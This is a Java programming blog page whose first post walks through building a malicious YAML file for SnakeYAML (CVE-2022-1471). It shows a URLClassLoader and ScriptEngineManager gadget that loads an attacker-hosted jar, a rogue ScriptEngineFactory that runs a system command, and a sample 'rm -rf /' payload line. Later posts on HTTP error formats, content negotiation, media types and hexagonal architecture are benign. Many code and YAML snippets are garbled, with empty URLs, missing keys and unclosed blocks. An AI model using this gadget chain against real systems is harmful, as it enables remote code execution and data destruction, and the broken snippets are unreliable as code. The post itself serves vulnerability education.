mscharhag, Programming and Stuff;

A blog about programming and software development topics, mostly focused on Java technologies including Java EE, Spring and Grails.

  • Tuesday, 6 June, 2023

    Constructing a malicious YAML file for SnakeYAML (CVE-2022-1471)

    In this post we will take a closer look at SnakeYAML and CVE-2022-1471.

    SnakeYAML is a popular Java library for parsing YAML files. For example, Spring Boot uses SnakeYAML to parse YAML configuration files.

    In late 2022, a critical vulnerability was discovered in SnakeYAML (referred to as CVE-2022-1471). This allowed an attacker to perform remote code execution by providing a malicious YAML file. The problem was fixed in SnakeYAML 2.0, released in February 2023.

    I recently looked into this vulnerability and learned a few things that I'll try to break down in this post.

    Parsing YAML files with SnakeYAML

    Before we look at the actual security issue, let us take a quick look at how SnakeYAML is actually used in a Java application.

    Suppose we have the following YAML file named person.yml:

      firstname: john
      lastname: doe
        street: fooway 42
        city: baz town

    In our Java code we can parse this YAML file with SnakeYAML like this:

    Yaml yaml = new Yaml();
    FileInputStream fis = new FileInputStream("/path/to/person.yml");
    Map<String, Object> parsed = yaml.load(fis);
    Map<String, Object> person = (Map<String, Object>) parsed.get("person");
    person.get("firstname");  // "john"
    person.get("lastname");   // "doe"
    person.get("address");    // another map with keys "street" and "city"

    yaml.load(fis) returns a Map<String, Object> instance that we can navigate through to get the values defined in the YAML file.

    Mapping YAML content to objects

    Unfortunately, working with maps is usually not very pleasant. So SnakeYAML provides several ways to map YAML content to Java objects.

    One way is to use the !! syntax to set a Java type within a YAML object:

      firstname: john
      lastname: doe
        street: fooway 42
        city: baz town

    This tells SnakeYAML to map the contents of the person object to the demo.Person Java class, which looks like this:

    public class Person {
        private String firstname;
        private String lastname;
        private Address address; // has getter and setter for street and city
        // getter and setter

    We can now parse the YAML file and get the person object with the mapped YAML values like this:

    Map<String, Object> parsed = yaml.load(fis);
    Person person = (Person) parsed.get("person");

    SnakeYAML now creates a new Person object using the default constructor and uses setters to set the values defined in the YAML file. We can also instruct SnakeYAML to use constructor parameters instead of setters to set values.

    For example, suppose we have the following simple Email value object:

    public class Email {
        private String value;
        public Email(String value) {
            this.value = value;
        // getter

    Within the YAML file, we can tell SnakeYAML to create an Email object by enclosing the constructor argument in square brackets:

      firstname: john
      lastname: doe
      email: !!demo.Email [ ]

    Where is the security issue?

    What we have seen so far is really all we need to run malicious code from a YAML file. SnakeYAML allows us to create classes, pass constructor parameters and call setters from a provided YAML file.

    Assume for a moment that there is a RunSystemCommand class available in the class path. This class executes the system command passed in the constructor as soon as it is created. We could then provide the following YAML file:

    foo: !!bad.code.RunSystemCommand [ rm -rf / ]

    Which would run the rm -rf / system command right after it is instantiated by SnakeYAML.

    Obviously this is a bit too simple, as such a class is unlikely to exist in the classpath. Also remember that we can only control constructors and setters through the YAML file. We cannot call arbitrary methods.

    However, there are some interesting classes available in the standard Java library, that can be used. A very promising combination is ScriptEngineManager together with URLClassLoader. We will now learn a bit more about these two classes before we integrate them into a YAML file.

    Loading remote code via URLClassLoader

    URLClassLoader is a Java ClassLoader that can load classes and resources from jar files located at a specified URL. We can create URLClassLoader like this:

    URL[] urls = { new URL("") };
    URLClassLoader classLoader = new URLClassLoader(urls);

    URLClassLoader takes an array of URLs as constructor parameter. Here we pass a single URL pointing to a jar file on a remote server controlled by the attacker. Our classLoader instance can now be used to load classes from the remote jar file.

    If you are curious about how to load a class from a Classloader and use it via reflection, here is a simple example. However, this is not necessary for our SnakeYAML experiment.

    // load class using the classLoader
    Class<?> loadedClass = classLoader.loadClass("");
    // create a new instance of using the default constructor
    Object instance = loadedClass.newInstance();
    // run the method runMaliciousCode() on our new instance
    Method runMaliciousCode = loadedClass.getMethod("runMaliciousCode");

    Using ScriptEngineManager to run code for us

    ScriptEngineManager is another standard Java library class. It implements a discovery and instantiation mechanism for Java script engine support. ScriptEngineManager uses the Java Service Provider mechanism to discover and instantiate available ScriptEngineFactory classes.

    The ClassLoader used by ScriptEngineManager can be passed as a constructor parameter:

    URL[] urls = { new URL("") };
    URLClassLoader classLoader = new URLClassLoader(urls);
    new ScriptEngineManager(classLoader);

    Here, the newly created ScriptEngineManager will look for ScriptEngineFactory implementations in our attacker-controlled remote jar. And more dangerously: It will instantiate eligible classes from that jar, giving the attacker the ability to run their own code.

    But what content must be provided in the remote jar file?

    We start by creating a malicious implementation of ScriptEngineFactory:

    public class BadScriptEngineFactory implements ScriptEngineFactory {
        public String getEngineName() {
            try {
            } catch (IOException e) {
                throw new RuntimeException(e);
            return null;
        // empty stubs for other interface methods

    The first method that ScriptEngineManager calls after instantiating a ScriptEngineFactory is getEngineName(). So we use this method to execute our malicious code. In this example, we will simply run the calc system command, which will start the calculator on a Windows system. This is a simple proof, that we can run a system command from the provided jar file.

    As mentioned earlier, ScriptEngineManager uses the Java Service Provider mechanism to find classes that implement the ScriptEngineFactory interface.

    So we need to create a service provider configuration for our ScriptEngineFactory. We do this by creating a file called javax.script.ScriptEngineFactory in the META-INF/services directory. This file must contain the fully qualified name of our ScriptEngineFactory:

    We then package the class and configuration file into a jar file called The final layout inside the jar file looks like this:

    • malicious-code.jar
      • META-INF
        • services
          • javax.script.ScriptEngineFactory
        • MANIFEST.MF
      • foo
        • bar
          • BadScriptEngineFactory.class

    We can now put this jar file on a server and make it available to the URLClassLoader used by the ScriptEngineManager.

    To recap the snippet shown earlier:

    URL[] urls = { new URL("") };
    URLClassLoader classLoader = new URLClassLoader(urls);
    new ScriptEngineManager(classLoader);

    ScriptEngineManager should now detect the BadScriptEngineFactory class within the malicious-code.jar file. Once instantiated, it calls the getEngineName() method, which executes the calc system command. So running this code on a Windows system should open the Windows Calculator.

    Constructing a malicious YAML file

    Now we know enough to return to our original goal: constructing a malicious YAML file for SnakeYAML. As you may have noticed, the previous snippet only included constructor calls and the construction of an array. Both of these can be expressed within a YAML file.

    So the final YAML file looks like this:

    person: !!javax.script.ScriptEngineManager [
        !! [[
            !! []

    We create a simple person YAML object. For the value we use the !! syntax we saw earlier to create a ScriptEngineManager.

    As a constructor parameter we pass a URLClassLoader with a URL pointing to our malicious jar file. Notice that we open two square brackets after URLClassLoader. One to indicate that a constructor argument follows and a second to define an array.

    When this YAML file is parsed with a vulnerable version of SnakeYAML on a Windows system, the calculator opens. This proves that an attacker is able to run code and execute system commands by providing a malicious YAML file.

  • Monday, 15 August, 2022

    A standardized error format for HTTP responses

    HTTP uses status codes to indicate the result of the servers attempt to satisfy the request. In case the server is unable to process the request we can choose from a variety of HTTP error codes.

    Unfortunately status codes alone often do not provide enough information for API clients. For example, a server might respond with the status code 400 (Bad Request) to indicate the client sent an invalid request. Wouldn't it be nice if the response body would tell us what specific part of the request was invalid or how to resolve the problem?

    Status codes are used to define higher level error classes while error details are usually part of the response body. Many APIs use a custom error format for response bodies to provide additional problem information. However, there is also a standard that can help us here, defined in RFC 2707.

    RFC 7807 defines a data model for problem details in JSON and XML. Before coming up with a new generic fault or error response format for you API, it might be worth looking into RFC 7807. However, it is absolutely fine to use your own domain-specific format if this fits better to your application.

    RFC 7807: Problem Details for HTTP APIs

    A HTTP response using RFC 7807 might look like this:

    HTTP/1.1 400 Bad request
    Content-Type: application/problem+json
    Content-Language: en
        "type": "",
        "title": "Required field is missing",
        "detail": "Article with id 1234 cannot be updated because the required field 'title' is missing",
        "status": 400,
        "instance": "/articles/1234",
        "field": "title"

    As usual, the HTTP status code (400, Bad request) gives us a broad indication of the problem. Notice the response Content-Type of application/problem+json. This tells us the response contains a RFC 7807 compliant body. When using XML instead of JSON the Content-Type application/problem+xml is used.

    A problem details JSON response can have the following members:

    • type (string) - A URI reference that identifies the problem type.
    • title (string) - A short human-readable summary of the problem type. It should not change between multiple occurrences of the same problem type, except for purposes of localization.
    • status (number) - The HTTP status code generated by the origin server.
    • detail (string) - A human-readable description of this specific problem occurrence.
    • instance (string) - A URI that identifies the resource related to this specific problem occurrence.

    All fields are optional. However, you should at least provide a type value as this is used by consumers to identify the specific problem type. Consumers should not parse the title or detail fields.

    Problem types

    Problem types are used to identify specific problems. A problem type must document:

    • A type URI (that is used in the type field of the response).
    • A title that describes the problem (used in the title field of the response).
    • The HTTP status code it is used with.

    The type URI should resolve to a human-readable documentation of the problem (e.g. a HTML document). This URI should be under your control and stable over time.

    Problem types may also specify the use of a Retry-After response header if appropriate.

    RFC 7807 reserves one special URI as a problem type: about:blank. The problem type about:blank can be used if the problem has no additional semantics besides that of the HTTP status code. In this case, the title should be the same as the HTTP status phrase for that code (e.g. Bad Request for HTTP status 400).

    Extension members

    Problem types may extend the problem details object with additional members to provide additional information.

    The field member from the example response shown above is an example of such an extension member. It belongs to the required-field-missing problem type and indicates the missing field. A consumer might parse this member to construct an appropriate error message for the end-user.


    HTTP status codes alone are often not enough to provide a meaningful problem description.

    RFC 7807 defines a standardized format for a more detailed problem descriptions within the body of an HTTP response. Before coming up with just another custom error response format, it might be a good idea to look at the RFC 7807 problem format.

  • Monday, 22 November, 2021

    HTTP - Content negotiation

    With HTTP, resources are identified using URIs. And a uniquely identified resource might support multiple resource representations. A representation is a specific form of a particular resource.

    For example:

    • a HTML page /index.html might be available in different languages
    • product data located at /products/123 can be served in JSON, XML or CSV
    • an avatar image /user/avatar might available in JPEG, PNG and GIF formats

    In all these cases one underlying resource has multiple different representations.

    Content negotiation is the mechanism used by clients and servers to decide which representation should be used.

    Server-driven and agent-driven content negotiation

    We can differentiate between server-driven and agent-driven content negotiation.

    With server-driven content negotiation the client tells the server which representations are preferable. The server then picks the representation that best fits the clients needs.

    When using agent-driven content negotiation the server tells the client which representations are available. The client then picks the best matching option.

    In practice nearly only server-driven negotiation is used. Unfortunately, there is no standardized format for doing agent-driven negotiation. Additionally, agent-driven negotiation is usually also worse for performance as it requires an additional request / response round trip. In the rest of this article we will therefore focus on server-driven negotiation.

    Accept headers

    With server-driven negotiation the client uses headers to indicate supported content formats. A server-side algorithm then uses these headers to decide which resource representation should be returned.

    Most commonly used is the Accept-Header, which communicates the media-type preferred by the client. For example, consider the following simple HTTP request containing an Accept header:

    GET /monthly-report
    Accept: text/html; q=1.0, text/*; q=0.8

    The header tells the server that the client understands HTML (media-type text/html) and other text based formats (mediatype text/*).

    text/* indicates that all subtypes of the text type are supported. To indicate that all media types are supported we can use */*.

    In this example HTML is preferred over other text based formats because it has a higher quality factor (q).

    Ideally a server would respond with a HTML document to this request. For example:

    HTTP/1.1 200 OK
    Content-Type: text/html
            <h1>Monthly report</h1>

    If returning HTML is not feasible, the server can also respond with another text based format, like text/plain:

    200 OK
    Content-Type: text/plain
    Monthly report
    Bla bli blu

    Besides the Accept header there are also the Accept-Language and Accept-Encoding headers, we can use. Accept-Language indicates the language preference of the client while Accept-Encoding defines the acceptable content encodings.

    Of course all these headers can be used together. For example:

    GET /monthly-report
    Accept: text/html
    Accept-Language: en-US; q=1.0, en; q=0.9, fr; q=0.4
    Accept-Encoding: gzip, br

    Here the client indicates that he prefers

    • an HTML document
    • US English (preferred, q=1.0) but other English variations are also fine (q=0.9). If English is not available, French can do the job too (q=0.4)
    • gzip and brotli (br) encoding is supported

    An acceptable response might look like this:

    200 Ok
    Content-Type: text/html
    Content-Language: en
    Content-Encoding: gzip
    <gzipped html document>

    What if the server cannot return an acceptable response?

    If the server is unable to fulfill the clients preferences the HTTP status code 406 (Not Acceptable) can be returned. This status code indicates that the server is unable to produce a response matching the clients preference.

    Depending on the situation it might also be viable to return a response that does not exactly match the clients preference. For example, assume no language provided in the Accept-Language header is supported by the server. In this case, it can still be a valid option to return a response using a predefined default language. This might be more useful for the client than nothing. In this case, the client can look at the Content-Language header of the response and decide if he wants to use the response or ignore it.

    Content negotiation in REST APIs

    For REST APIs it can be a viable option to support more than one standard representation for resources. For example, with content negotiation we can support JSON and XML and let the client decide what he wants to use.

    CSV can also be an interesting option to consider in certain situations as the response can directly be viewed with tools like Excel. For example, consider the following request:

    GET /users
    Accept: text/csv

    Instead of returning a JSON (or XML) collection, the server now can respond with a list of users in CSV format.

    HTTP/1.1 200 Ok
    Content-Type: text/csv


    Interested in more REST related articles? Have a look at my REST API design page.

  • Monday, 1 November, 2021

    Avoid leaking domain logic

    Many software architectures try to separate domain logic from other parts of the application. To follow this practice we always need to know what actually is domain logic and what is not. Unfortunately this is not always that easy to separate. If we get this decision wrong, domain logic can easily leak into other components and layers.

    We will go through this problem by looking at examples using a hexagonal application architecture. If you are not familiar with hexagonal architecture (also called ports and adapters architecture) you might be interested in the previous post about the transition from a traditional layered architecture to a hexagonal architecture.

    Assume a shop system that publishes new orders to a messaging system (like Kafka). Our product owner now tells us that we have to listen for these order events and persist the corresponding order in the database.

    Using hexagonal architecture the integration with a messaging system is implemented within an adapter. So, we start with a simple adapter implementation that listens for Kafka events:

    public class KafkaAdapter {
        private final SaveOrderUseCase saveOrderUseCase;
        @KafkaListener(topic = ...)
        public void onNewOrderEvent(NewOrderKafkaEvent event) {
            Order order = event.getOrder();

    In case you are not familiar with the @AllArgsConstructor annotation from project lombok: It generates a constructor which accepts each field (here saveOrderUseCase) as parameter.

    The adapter delegates the saving of the order to a UseCase implementation.

    UseCases are part of our domain core and implements domain logic, together with the domain model. Our simple example UseCase looks like this:

    public class SaveOrderUseCase {
        private final SaveOrderPort saveOrderPort;
        public void saveOrder(Order order) {

    Nothing special here. We simply use an outgoing Port interface to persist the passed order.

    While the shown approach might work fine, we have a significant problem here: Our business logic has leaked into the Adapter implementation. Maybe you are wondering: what business logic?

    We have a simple business rule to implement: Everytime a new order is retrieved it should be persisted. In our current implementation this rule is implemented by the adapter while our business layer (the UseCase) only provides a generic save operation.

    Now assume, after some time, a new requirement arrives: Every time a new order is retrieved, a message should be written to an audit log.

    With our current implementation we cannot write the audit log message within SaveOrderUseCase. As the name suggests the UseCase is for saving an order and not for retrieving a new order and therefore might be used by other components. So, adding the audit log message here might have undesired side-effects.

    The solution is simple: We write the audit log message in our adapter:

    public class KafkaAdapter {
        private final SaveOrderUseCase saveOrderUseCase;
        private final AuditLog auditLog;
        @KafkaListener(topic = ...)
        public void onNewOrderEvent(NewOrderKafkaEvent event) {
            Order order = event.getOrder();
            auditLog.write("New order retrieved, id: " + order.getId());

    And now we have made it worse. Even more business logic has leaked into the adapter.

    If the auditLog object writes messages into a database, we might also have screwed up transaction handling, which is usually not handled in an incoming adapter.

    Using more specific domain operations

    The core problem here is the generic SaveOrderUseCase. Instead of providing a generic save operation to adapters we should provide a more specific UseCase implementation.

    For example, we can create a NewOrderRetrievedUseCase that accepts newly retrieved orders:

    public class NewOrderRetrievedUseCase {
        private final SaveOrderPort saveOrderPort;
        private final AuditLog auditLog;
        public void onNewOrderRetrieved(Order newOrder) {
            auditLog.write("New order retrieved, id: " + order.getId());

    Now both business rules are implemented within the UseCase. Our adapter implementation is now simply responsible for mapping incoming data and passing it to the use case:

    public class KafkaAdapter {
        private final NewOrderRetrievedUseCase newOrderRetrievedUseCase;
        @KafkaListener(topic = ...)
        public void onNewOrderEvent(NewOrderKafkaEvent event) {
            NewOrder newOrder = event.toNewOrder();

    This change only seems to be a small difference. However, for future requirements, we now have a specific location to handle incoming orders in our business layer. Otherwise, chances are high that with new requirements we leak more business logic into places where it should not be located.

    Leaks like this happen especially often with too generic create, save/update and delete operations in the domain layer. So, try to be very specific when implementing business operations.

  • Wednesday, 6 October, 2021

    Media types and the Content-Type header

    A Media type (formerly known as MIME type) is an identifier for file formats and format contents. Media types are used by different internet technologies like e-mail or HTTP.

    Media types consist of a type and a subtype. It can optionally contain a suffix and one or more parameters. Media types follow this syntax:

    type "/" [tree "."] subtype ["+" suffix]* [";" parameter]

    For example the media type for JSON documents is:


    It consists of the type application with the subtype json.

    A HTML document with UTF-8 encoding can be expressed as:

    text/html; charset=UTF-8

    Here we have the type text, the subtype html and a parameter charset=UTF-8 indicating UTF-8 character encoding.

    A suffix can be used to specify the underlying format of a media type. For example, SVG images use the media type:


    The type is image, svg is the subtype and xml the suffix. The suffix tells us that the SVG file format is based on XML.

    Note that subtypes can be organized in a hierarchical tree structure. For example, the binary format used by Apache Thrift uses the following media type:


    vnd is a standardized prefix that tells us this is a vendor specific media type.

    The Content-Type header

    With HTTP any message that contains an entity-body should include a Content-Type header to define the media type of the body.

    The RFC says:

    Any HTTP/1.1 message containing an entity-body SHOULD include a Content-Type header field defining the media type of that body. If and only if the media type is not given by a Content-Type field, the recipient MAY attempt to guess the media type via inspection of its content and/or the name extension(s) of the URI used to identify the resource. If the media type remains unknown, the recipient SHOULD treat it as type "application/octet-stream".

    The RFC allows clients to guess the media type if the Content-Type header is not present. However, this should be avoided in any case.

    Guessing the media-type of a piece of data is called Content sniffing (or MIME-sniffing). This practice was (and sometimes is still) used by web browsers and accounts for multiple security vulnerabilities. To explicitly tell browsers not to guess certain media types the following header can be added:

    X-Content-Type-Options: nosniff

    Note that the Content-Type header always contains the media type of the original resource, before any content encoding is applied. Content encoding (like gzip compression) is indicated by the Content-Encoding header.